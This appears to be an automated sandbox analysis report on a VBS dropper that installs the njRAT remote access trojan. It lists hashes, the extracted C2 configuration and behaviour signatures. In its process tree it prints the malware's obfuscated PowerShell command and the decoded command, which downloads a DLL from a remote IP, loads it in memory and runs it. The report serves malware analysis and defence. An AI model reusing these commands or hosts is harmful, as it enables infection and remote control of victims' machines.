Analysis

  • max time kernel
    147s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01/09/2022, 19:12

General

  • Target

    7566214bddcf5c73e06b9e5c7504212b8632a9d97fb28446dc9a2cf2feaf42ab.vbs

  • Size

    205KB

  • MD5

    55f65c5be5331616022acfa14b13cf0d

  • SHA1

    5715298639b8fa40e9621a9a1e5f4e12feb801ab

  • SHA256

    7566214bddcf5c73e06b9e5c7504212b8632a9d97fb28446dc9a2cf2feaf42ab

  • SHA512

    eaa7b7cea085d6703ad604cef958426b05da22930e451f65676b0f57631e0c7328ec089b8480debc41c2ecefddd8a7e173c4f9acce5baea72476fa983f934153

  • SSDEEP

    96:W6Ww7isRFEDD7174KWOktsKFSG4qYk/uU95coQ18HE:l/FEDHxIBKoTjcX18k

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://91.241.19.49/QWERTY/CRTZ/Dllf3.txt

Extracted

Family

njrat

Version

0.7NC

Botnet

NYAN CAT

C2

nyas22.duckdns.org:57831

Mutex

8521e1f80fc24

Attributes
  • reg_key

    8521e1f80fc24

  • splitter

    @!#&^%$

Signatures

  • njRAT/Bladabindi

    Widely used RAT written in .NET.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 33 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7566214bddcf5c73e06b9e5c7504212b8632a9d97fb28446dc9a2cf2feaf42ab.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1980
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwAlAEsASQB0AE8ATwBQAF⌚⌚⌚AaQBTAE8AVQBsAFEARABqAHYAWABBAE8AZwAlACcAOwBbAEIAeQB0AG⌚⌚⌚AWwBdAF0AIAAkAEQATABMACAAPQAgAFsA⌚⌚⌚wB5AHMAdABlAG0ALgBDAG8AbgB2AG⌚⌚⌚AcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQA⌚⌚⌚wB0AHIAaQBuAGcAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAG⌚⌚⌚AdAAuAFcAZQBiAEMAbABpAG⌚⌚⌚AbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQA⌚⌚⌚wB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AOQAxAC4AMgA0ADEALgAxADkALgA0ADkALwBRAFcARQBSAFQAWQAvAEMA⌚⌚⌚gB⌚⌚⌚AFoALwBEAGwAbABmADMALgB0AHgAdAAnACkAKQA7AFsA⌚⌚⌚wB5AHMAdABlAG0ALgBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAH⌚⌚⌚AcgByAG⌚⌚⌚AbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoACQARABMAEwAKQAuAEcAZQB0AFQAeQBwAG⌚⌚⌚AKAAnAHgASwB2AEsAawB1AE4AWgAuAF⌚⌚⌚ARwBsAHkAbQB6AF⌚⌚⌚AZwAnACkALgBHAG⌚⌚⌚AdABNAG⌚⌚⌚AdABoAG8AZAAoACcAVQBEAHMA⌚⌚⌚wBpAEQAYgBiACcAKQAuAEkAbgB2AG8AawBlACgAJABuAH⌚⌚⌚AbABsACwAIABbAG8AYgBqAG⌚⌚⌚AYwB0AFsAXQBdACAAKAAnAHQAeAB0AC4AMgBYAFoALwB3AG⌚⌚⌚AbgAvAHQAcwBlAHQALwA5ADQALgA5ADEALgAxADQAMgAuADEAOQAvAC8AOgBwAHQAdABoACcAIAAsACAAJABSAG8AZABhAEMAbwBwAHkAIAAsACAAJwB3AG⌚⌚⌚AZAAzADcAMwBrAE4ASABpAGgAZgBvADkAMAA4ADMANwA4ACYAJAAhACIAIwAkAC⌚⌚⌚AJgB1AGgAaABqAGYAbgA3AHcAZAAnACAAKQApAA==';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('⌚⌚⌚','U') ) );$OWjuxD = $OWjuxD.replace('%KItOOPUiSOUlQDjvXAOg%', 'C:\Users\Admin\AppData\Local\Temp\7566214bddcf5c73e06b9e5c7504212b8632a9d97fb28446dc9a2cf2feaf42ab.vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2724
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "$RodaCopy = 'C:\Users\Admin\AppData\Local\Temp\7566214bddcf5c73e06b9e5c7504212b8632a9d97fb28446dc9a2cf2feaf42ab.vbs';[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://91.241.19.49/QWERTY/CRTZ/Dllf3.txt'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('xKvKkuNZ.UGlymzUg').GetMethod('UDsSiDbb').Invoke($null, [object[]] ('txt.2XZ/wen/tset/94.91.142.19//:ptth' , $RodaCopy , 'wed373kNHihfo908378&$!"#$%&uhhjfn7wd' ))"
        3⤵
        • Blocklisted process makes network request
        • Drops startup file
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4896
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1320

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          3KB

          MD5

          f41839a3fe2888c8b3050197bc9a0a05

          SHA1

          0798941aaf7a53a11ea9ed589752890aee069729

          SHA256

          224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

          SHA512

          2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          64B

          MD5

          a6c9d692ed2826ecb12c09356e69cc09

          SHA1

          def728a6138cf083d8a7c61337f3c9dade41a37f

          SHA256

          a07d329eb9b4105ba442c89f7cfa0d7b263f9f0617e26df93cf8cdc8dc94d57b

          SHA512

          2f27d2b241ce34f988c39e17ca5a1ebe628ac6c1b8ee8df121db9ad8929eaadf5f24ad66457591cccf87e60d2ba2eab88af860ab9c323a5c2a9867045d6e7ba3

        • memory/1320-149-0x0000000005B40000-0x0000000005BA6000-memory.dmp

          Filesize

          408KB

        • memory/1320-148-0x0000000005900000-0x000000000590A000-memory.dmp

          Filesize

          40KB

        • memory/1320-147-0x0000000005940000-0x00000000059D2000-memory.dmp

          Filesize

          584KB

        • memory/1320-146-0x0000000005DD0000-0x0000000006374000-memory.dmp

          Filesize

          5.6MB

        • memory/1320-145-0x00000000056D0000-0x000000000576C000-memory.dmp

          Filesize

          624KB

        • memory/1320-139-0x0000000000400000-0x000000000040C000-memory.dmp

          Filesize

          48KB

        • memory/2724-144-0x00007FFC65C20000-0x00007FFC666E1000-memory.dmp

          Filesize

          10.8MB

        • memory/2724-137-0x00007FFC65C20000-0x00007FFC666E1000-memory.dmp

          Filesize

          10.8MB

        • memory/2724-134-0x00007FFC65C20000-0x00007FFC666E1000-memory.dmp

          Filesize

          10.8MB

        • memory/2724-133-0x0000014274B80000-0x0000014274BA2000-memory.dmp

          Filesize

          136KB

        • memory/4896-141-0x00007FFC65C20000-0x00007FFC666E1000-memory.dmp

          Filesize

          10.8MB

        • memory/4896-138-0x00007FFC65C20000-0x00007FFC666E1000-memory.dmp

          Filesize

          10.8MB

        • memory/4896-136-0x00007FFC65C20000-0x00007FFC666E1000-memory.dmp

          Filesize

          10.8MB